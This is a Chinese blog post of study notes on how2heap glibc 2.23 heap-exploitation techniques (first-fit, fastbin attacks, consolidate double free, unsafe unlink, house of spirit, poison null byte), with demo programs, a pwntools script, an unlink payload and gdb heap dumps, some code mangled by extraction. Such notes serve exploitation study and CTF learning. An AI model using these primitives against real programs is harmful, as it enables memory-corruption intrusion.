how2heap注意点总结-上

admin 2021年3月1日18:52:36评论74 views字数 12412阅读41分22秒阅读模式

first-fit

我的理解是分割unsortedbin里面第一个大于要分配的chunk,但是实际上并不是这样

测试程序
```

include

include

include

int main()
{
int m;
scanf("%d",m);
char a = malloc(0x256);
char
b = malloc(0x200);
char e = malloc(0x100);
char
f = malloc(0x256);
char* c;

free(e);
free(a);//前插
c = malloc(0x80);//分割足够大的chunk(是找到最适合的,best_fit),遍历unsortedbin把除了分割的一个链入对应的bins,被分割剩下的chunk放入unsortedbin

}
编译命令`gcc -g -fno-stack-protector -z execstack -no-pie first-fit.c -o first-fit`
可以用python来加载
python
from pwn import *
context.log_level="debug"

p=process(["/glibc/2.23/64/lib/ld-2.23.so","./first-fit"],env={"LD_PRELOAD":"/glibc/2.23/64/lib/libc.so.6"})

io = gdb.debug("first-fit","break main")

gdb.attach(p,exe="first-fit")
p.sendline("aaa")
p.interactive()
```
运行到要返回的时候堆内容如下

how2heap注意点总结-上
可以看出来这里分割的是e也就是说会遍历unsortedbin 找到大小最接近的chunk来分割。
其他chunk会放入对应的bins,被分割的chunk剩下的部分放入unsortedbin。
经过后来的测试得出来的结论
- 1.如果fastbin没有找到合适的chunk,从unsortedbin里面查找。
- 2.在查找unsortedbin之前会进行fast bins里面的chunk合并,合并之后放入unsortedbin里面
- 3.如果unsortedbin里面找到了大小刚好相同的chunk,直接取出,分配结束
- 4.如果unsortedbin里面没找到大小刚好相同的chunk遍历unsortedbin把chunk放入相应的bins(不会放入fastbins)
- 5.紧接着遍历其他的biins找到合适的chunk进行切割,切割剩余放入unsortedbin中
(跟一些地方写的不太一样,但是解释的通测试遇到的很多问题。有什么问题感谢联系。)

对于包含tcatch的libc会直接从topchunk扩展。

图中的箭头所指为c

how2heap注意点总结-上

fast_bin_into_stack

是比较常用的fastbin attack这里是介绍一些经验
free fast chunk的时候会检查fastbins如果被main_arena直接连接的chunk被再次free会报错

how2heap注意点总结-上
这种情况下double free想用这个0x20要写入的地址是0x7fffffffe5b0-8

how2heap注意点总结-上
放到了对应位置

如果想用这里的0x7f作为size

how2heap注意点总结-上
需要0x7fffffffe670-3

how2heap注意点总结-上
由以上总结:想要用一个字节作为size字段需要用这一行的地址减去它的字节数再减一
0x70-3=0x6d

double free进入stack条件:需要size,需要栈的加载地址(对于ALSR开启想用这种方法修改栈需要泄露栈地址 )
fast_bin_attack 需要
- 1.fastbin
- 2.Size
- 3.想要attack哪里需要哪里的地址(bss段地址,stack地址)
- 4.需要uaf或者doublefree

结果:可以申请到一个地址的空间写入数据。
技巧:想要用一个字节作为size字段需要用这一行的地址减去它的字节数再减一(这个字节数是从0开始数的)

fastbin_dup_consolidate

在分配 large bin chunk 的时候,会调用 malloc_consolidate(),这个函数会遍历所有的 fastbin 把里面的 chunk 该合并合并,更改inuse位,然后全部插入 unsorted bin 中。

```c

include

include

include

int main() {
void p1 = malloc(0x40);
void
p2 = malloc(0x40);
fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2);
fprintf(stderr, "Now free p1!\n");
free(p1);

void p3 = malloc(0x400);
fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");
free(p1);
fprintf(stderr, "Trigger the double free vulnerability!\n");
fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");
fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", malloc(0x40), malloc(0x40));
}
```
实际上当执行完 void
p3 = malloc(0x400);之后调用malloc_consolidate函数

how2heap注意点总结-上
这个函数会刷新bins,把fastbin回收放入unsortedbin之后遍历unortedbin,把对应的chunk放入对应bins中,然后尝试能不能找到能分割的chunk(这里没有找到)
执行完第二次free(p1);

how2heap注意点总结-上
可以看出fast chunk再次被释放回到了fastbin链里面,smallbins里面没有了这个chunk。

how2heap注意点总结-上
但是下一个chunk的previnue位变成了零。放入smallbin会改变标志位,然后再次free放入fast bin不会改变标志位,所以这里的标志位会变成0,然后从fastbin获取chunk当然也不会更改inuse位
总结:free掉大chunk会把小的fastbin中的chunk放入smallbin并改变标志位,再次free小chunk会让小chunk回到fastbin,转一圈的收获是小chunk物理相邻下一个chunk的prev_inuse位会置零。可以配合unlink

需要:
- fastbin能够double-free
- 能申请一个large chunk
结果:修改fast chunk的物理相邻的chunk的prev_inuse位,可以配合unlink使用
Hitcon 2016 SleepyHolder参考 https://blog.csdn.net/qq_38204481/article/details/104731016

unsafe_unlink

参考:https://blog.csdn.net/qq_38204481/article/details/82808011
需要:
- 1.指针列表指针指向chunk 这种结构(知道bss段地址)或知道main_area地址(也就是libc地址)(需要知道指针列表的地址)
- 2.能修改prev_inuse位。可以是double free(fastbin_dup_consolidate)也可以是uaf或者是堆溢出。
payload使用

python
f_ptr = 0x6020d0 #是一个指针,指向的内容能写入fake_chunk
fake_chunk = p64(0) + p64(0x21)#伪造本chunk的size
fake_chunk += p64(f_ptr - 0x18) + p64(f_ptr-0x10) #伪造fd,bk
fake_chunk += '\x20' #下一个chunk的prev_size位,和开头chunksize保持一致
+下一个chunk是修改过prev_inuse位的

设置payload过程只需要知道一个chunk的指针,然后往chunk中写数据就ok了。

结果是把f_ptr-0x18写入到*f_ptr



house_of_spirit

```c

include

include

int main()
{
int cc;
scanf("%d ",cc);
malloc(1);
unsigned long long *a;
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
unsigned long long fake_chunks[10] attribute ((aligned (16)));

fake_chunks[1] = 0x40; // this is the size

fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
    // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
fake_chunks[9] = 0x1234; // nextsize

a = &fake_chunks[2];//释放之前布置好了本chunk的size(可控1),后一个chunk的size(可控2)

free(a);

fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));

}
```
运行结束之后

how2heap注意点总结-上

申请到了任意一段空间。
总结需要:

how2heap注意点总结-上
在两个地址处写入size。
对size的要求:

  • 1.可控1size位在fastbin范围内,size对齐的4位中第二第四位不能为1
  • 2.可控2的size位大于0x10小于system_mem(64位是128kb)
  • 3.需要一个能够被free的指针指向可控1的size后面(一般是正常指针指向目标区域,目标区域的chunk的size在可控1范围内)
    结果:可以扩大或者缩小申请到的堆空间,修改其他chunk的空间
    经验:一般条件3中的指针是正常存在的,可以修改的是size,这时候可以放大或缩小chunk让chunk重合。

poison_null_byte

```c
int __cdecl main(int argc, const char argv, const char envp)
{
uint8_t a; // ST08_8
int real_a_size; // ST04_4
uint8_t
b; // ST10_8
uint8_t c; // ST18_8
void
barrier; // ST20_8
uint8_t b1; // ST38_8
uint8_t
b2; // ST40_8
uint8_t *d; // ST48_8

fwrite("Welcome to poison null byte 2.0!\n", 1uLL, 0x21uLL, stderr);
fwrite("Tested in Ubuntu 14.04 64bit.\n", 1uLL, 0x1EuLL, stderr);
fwrite(
"This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n",
1uLL,
0x6CuLL,
stderr);
fwrite(
"This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n",
1uLL,
0x61uLL,
stderr);
fwrite("We allocate 0x100 bytes for 'a'.\n", 1uLL, 0x21uLL, stderr);
a = (uint8_t )malloc(0x100uLL); //这个chunk要有off_by_one_null漏洞
fprintf(stderr, "a: %p\n", a);
real_a_size = malloc_usable_size(a);

fprintf(
stderr,
"Since we want to overflow 'a', we need to know the 'real' size of 'a' (it may be more than 0x100 because of rounding): %#x\n",
(unsigned int)real_a_size);
b = (uint8_t
)malloc(0x200uLL); //这个chunk用来伪造
fprintf(stderr, "b: %p\n", b);
c = (uint8_t )malloc(0x100uLL); //这个最后才会用到
fprintf(stderr, "c: %p\n", c);
barrier = malloc(0x100uLL); //防止被topchunk 合并
fprintf(
stderr,
"We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.\n"
"The barrier is not strictly necessary, but makes things less confusing\n",
barrier);
fwrite(
"In newer versions of glibc we will need to have our updated size inside b itself to pass the check 'chunksize(P) != "
"prev_size (next_chunk(P))'\n",
1uLL,
0x8FuLL,
stderr);
((_QWORD )b + 0x3E) = 0x200LL; //正常写(真正的chunk大小是0x210,在b+0x3e8,是如果chunk b是0x200大小的话对应下一个chunk的pre_size位)
free(b); //把整个b放入unsorted bin
fprintf(stderr, "b.size: %#lx\n", ((_QWORD )b - 1));
fwrite("b.size is: (0x200 + 0x10) | prev_in_use\n", 1uLL, 0x28uLL, stderr);
fwrite("We overflow 'a' with a single null byte into the metadata of 'b'\n", 1uLL, 0x41uLL, stderr);
a[real_a_size] = 0; //修改b的size位和inuse位(只需要改一个字节)(b的size位变成了0x200)
fprintf(stderr, "b.size: %#lx\n", ((_QWORD )b - 1));

fprintf(stderr, "c.prev_size is %#lx\n", ((_QWORD )c - 2));
fprintf(
stderr,
"We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n",
((_QWORD )b - 1),
(_QWORD )&b[((_QWORD )b - 1) - 16]);
b1 = (uint8_t )malloc(0x100uLL); //分割b得到b的第一块0x110大小
fprintf(stderr, "b1: %p\n", b1);
fprintf(
stderr,
"Now we malloc 'b1'. It will be placed where 'b' was. At this point c.prev_size should have been updated, but it was not: %#lx\n",
((_QWORD )c - 2));
fprintf(
stderr,
"Interestingly, the updated value of c.prev_size has been written 0x10 bytes before c.prev_size: %lx\n",
((_QWORD )c - 4));
fwrite("We malloc 'b2', our 'victim' chunk.\n", 1uLL, 0x24uLL, stderr);
b2 = (uint8_t
)malloc(0x80uLL); //分割b chunk的第二块得到0x90的chunk,分割完之后chunk结构如下图
fprintf(stderr, "b2: %p\n", b2);
memset(b2, 'B', 0x80uLL);
fprintf(stderr, "Current b2 content:\n%s\n", b2);
fwrite(
"Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n",
1uLL,
0x61uLL,
stderr);
free(b1); //b1回到unsorted bin中
free(c); //释放c引起chunk合并(是在没有修改任何东西的时候写入的c chunk的prev_size位,导致合并的应该是原来的0x210的chunk,合并成0x320大小的chunk)
fwrite("Finally, we allocate 'd', overlapping 'b2'.\n", 1uLL, 0x2CuLL, stderr);
d = (uint8_t *)malloc(0x300uLL); //d获取到未分配的b到c的一大块区域
fprintf(stderr, "d: %p\n", d);
fwrite("Now 'd' and 'b2' overlap.\n", 1uLL, 0x1AuLL, stderr);
memset(d, 68, 0x300uLL);
fprintf(stderr, "New b2 content:\n%s\n", b2);
fwrite(
"Thanks to https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunksfor the clear explan"
"ation of this technique.\n",
1uLL,
0x8DuLL,
stderr);
return 0;
}
```

*((_QWORD *)b + 0x3E) = 0x200LL;运行之后的布局
bash
0x555557083320: 0x0000000000000200 0x0000000000000000 chunk b末尾
0x555557083330: 0x0000000000000000 0x0000000000000111 chunk c

接下来释放b(b进入unsorted bin),释放之后的布局为
bash
0x555557083320: 0x0000000000000200 0x0000000000000000 chunk b
0x555557083330: 0x0000000000000210 0x0000000000000110 chunk c

修改size和previnuse然后申请b1,修改b和c的交叉点结构如下
bash
0x555557083320: 0x00000000000000f0 0x0000000000000000 chunk b(被切割并且修改这里的size)
0x555557083330: 0x0000000000000210 0x0000000000000110 chunk c

分配完b2得到的chunk结构是

c
0x555555757110: 0x0000000000000000 0x0000000000000111 b1
0x555555757120: 0x00007ffff7dd1d68 0x00007ffff7dd1d68
0x555555757130: 0x0000000000000000 0x0000000000000000
0x555555757140: 0x0000000000000000 0x0000000000000000
0x555555757150: 0x0000000000000000 0x0000000000000000
0x555555757160: 0x0000000000000000 0x0000000000000000
0x555555757170: 0x0000000000000000 0x0000000000000000
0x555555757180: 0x0000000000000000 0x0000000000000000
0x555555757190: 0x0000000000000000 0x0000000000000000
0x5555557571a0: 0x0000000000000000 0x0000000000000000
0x5555557571b0: 0x0000000000000000 0x0000000000000000
0x5555557571c0: 0x0000000000000000 0x0000000000000000
0x5555557571d0: 0x0000000000000000 0x0000000000000000
0x5555557571e0: 0x0000000000000000 0x0000000000000000
0x5555557571f0: 0x0000000000000000 0x0000000000000000
0x555555757200: 0x0000000000000000 0x0000000000000000
0x555555757210: 0x0000000000000000 0x0000000000000000
0x555555757220: 0x0000000000000000 0x0000000000000091 b2
0x555555757230: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x555555757240: 0x0000000000000000 0x0000000000000000
0x555555757250: 0x0000000000000000 0x0000000000000000
0x555555757260: 0x0000000000000000 0x0000000000000000
0x555555757270: 0x0000000000000000 0x0000000000000000
0x555555757280: 0x0000000000000000 0x0000000000000000
0x555555757290: 0x0000000000000000 0x0000000000000000
0x5555557572a0: 0x0000000000000000 0x0000000000000000
0x5555557572b0: 0x0000000000000000 0x0000000000000061 unsorted
0x5555557572c0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x5555557572d0: 0x0000000000000000 0x0000000000000000
0x5555557572e0: 0x0000000000000000 0x0000000000000000
0x5555557572f0: 0x0000000000000000 0x0000000000000000
0x555555757300: 0x0000000000000000 0x0000000000000000
0x555555757310: 0x0000000000000060 0x0000000000000000
0x555555757320: 0x0000000000000210 0x0000000000000110 c

接下来释放c和b1,能把整个c,b(包含b1,b2,unsorted)全部合并放入unsorted bin

深入思考

如果只释放c不释放b1的话会崩溃,追踪崩溃找到下面代码,释放c的时候会检查前面的chunk是否在使用,没有使用(这个是满足的)将会进行unlink(这里不释放p1是过不了unlink的检查的)
c
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}

如果没有*((_QWORD *)b + 0x3E) = 0x200LL;这个size实际上也是可行的。
在libc2.23中在切割chunk的时候不会检查next_chunk的prev_size位,会把切割后的size大小写到对应位置。在注释掉代码中
*((_QWORD *)b + 0x3E) = 0x200LL;语句之后,申请b1之后的堆空间如下图所示
```bash
pwndbg> x /70xg b
0x555556eaa130: 0x00007f2a49e20d68 0x00007f2a49e20d68
0x555556eaa140: 0x0000000000000000 0x0000000000000000
0x555556eaa150: 0x0000000000000000 0x0000000000000000
0x555556eaa160: 0x0000000000000000 0x0000000000000000
0x555556eaa170: 0x0000000000000000 0x0000000000000000
0x555556eaa180: 0x0000000000000000 0x0000000000000000
0x555556eaa190: 0x0000000000000000 0x0000000000000000
0x555556eaa1a0: 0x0000000000000000 0x0000000000000000
0x555556eaa1b0: 0x0000000000000000 0x0000000000000000
0x555556eaa1c0: 0x0000000000000000 0x0000000000000000
0x555556eaa1d0: 0x0000000000000000 0x0000000000000000
0x555556eaa1e0: 0x0000000000000000 0x0000000000000000
0x555556eaa1f0: 0x0000000000000000 0x0000000000000000
0x555556eaa200: 0x0000000000000000 0x0000000000000000
0x555556eaa210: 0x0000000000000000 0x0000000000000000
0x555556eaa220: 0x0000000000000000 0x0000000000000000
0x555556eaa230: 0x0000000000000000 0x00000000000000f1
0x555556eaa240: 0x00007f2a49e20b78 0x00007f2a49e20b78
0x555556eaa250: 0x0000000000000000 0x0000000000000000
0x555556eaa260: 0x0000000000000000 0x0000000000000000
0x555556eaa270: 0x0000000000000000 0x0000000000000000
0x555556eaa280: 0x0000000000000000 0x0000000000000000
0x555556eaa290: 0x0000000000000000 0x0000000000000000
0x555556eaa2a0: 0x0000000000000000 0x0000000000000000
0x555556eaa2b0: 0x0000000000000000 0x0000000000000000
0x555556eaa2c0: 0x0000000000000000 0x0000000000000000
0x555556eaa2d0: 0x0000000000000000 0x0000000000000000
0x555556eaa2e0: 0x0000000000000000 0x0000000000000000
0x555556eaa2f0: 0x0000000000000000 0x0000000000000000
0x555556eaa300: 0x0000000000000000 0x0000000000000000
0x555556eaa310: 0x0000000000000000 0x0000000000000000
0x555556eaa320: 0x00000000000000f0 0x0000000000000000
0x555556eaa330: 0x0000000000000210 0x0000000000000110

```

利用过程整理

how2heap注意点总结-上
这里写入的size还在b的空间中,是将要伪造的b的size大小,位置要满足下一步伪造b的size之后可以作为下一个chunk的prev_size

how2heap注意点总结-上

how2heap注意点总结-上

之后申请chunk切割b,整个b分割成了3块
0x0000000000000111 b1

0x0000000000000091 b2
0x0000000000000061 unsorted

接下来释放b1,c1,当释放c1的时候进行chunk合并,得到了0x320的chunk。
之后d = (uint8_t *)malloc(0x300uLL)会申请到b和c 两个chunk的空间

总结:
需要条件:1.有off_by_one_null漏洞
2.是unsorted bin的漏洞利用
结果:可以申请到两个已经被释放空间中间的已经被申请过的chunk(造成溢出,修改数据)

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  • 本文由 发表于 2021年3月1日18:52:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
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